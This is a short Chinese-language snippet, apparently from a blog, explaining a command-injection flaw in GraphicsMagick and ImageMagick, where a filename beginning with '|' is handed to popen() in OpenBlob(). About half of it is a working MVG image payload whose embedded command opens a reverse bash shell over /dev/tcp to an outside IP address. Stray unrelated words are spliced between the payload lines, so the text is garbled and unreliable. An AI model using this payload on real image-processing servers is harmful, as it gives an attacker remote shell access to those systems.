GraphicsMagick、ImageMagick工具的全部版本都支持一種文件打開語法,當文件規範中的第一個字符是」|」的時候,文件名其他部分會傳遞給shell的popen()函數去執行,相關的代碼在blob.c文件中的OpenBlob()函數中。shell
exploit code:bash
push graphic-context
tcp
viewbox 0 0 640 480
函數
image copy 200,200 100,100
"|bash -i >& /dev/tcp/21x.x.x.x/1234 0>&1"
工具
pop graphic-context
code